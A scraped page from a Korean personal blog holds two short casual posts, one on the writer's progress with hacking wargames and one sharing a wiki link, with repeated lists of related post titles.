나니??? 블로그에 글 왜적은겨???

lob는 풀고 문서도 좀 읽었는데 더블릿은 안풀었네여

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

pCTF2014 irc log  (2) 2014.04.13
제 프로필 사진 어떤가요  (0) 2014.03.05
[3월목표] 잡다  (0) 2014.02.24
LeaveRet Wiki  (0) 2014.02.13
[1,2월목표] dovelet  (0) 2014.01.10
심볼릭 링크에 \x2f안들어가지잖아요  (0) 2014.01.07
반응형

http://anch0vy.tk/wiki/index.php


ㅋㅋㅋㅋ개성있다

재미있으니 한번 들르고가세요ㅋㅋ

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

제 프로필 사진 어떤가요  (0) 2014.03.05
[3월목표] 잡다  (0) 2014.02.24
LeaveRet Wiki  (0) 2014.02.13
[1,2월목표] dovelet  (0) 2014.01.10
심볼릭 링크에 \x2f안들어가지잖아요  (0) 2014.01.07
2014년!  (0) 2014.01.04

+ Recent posts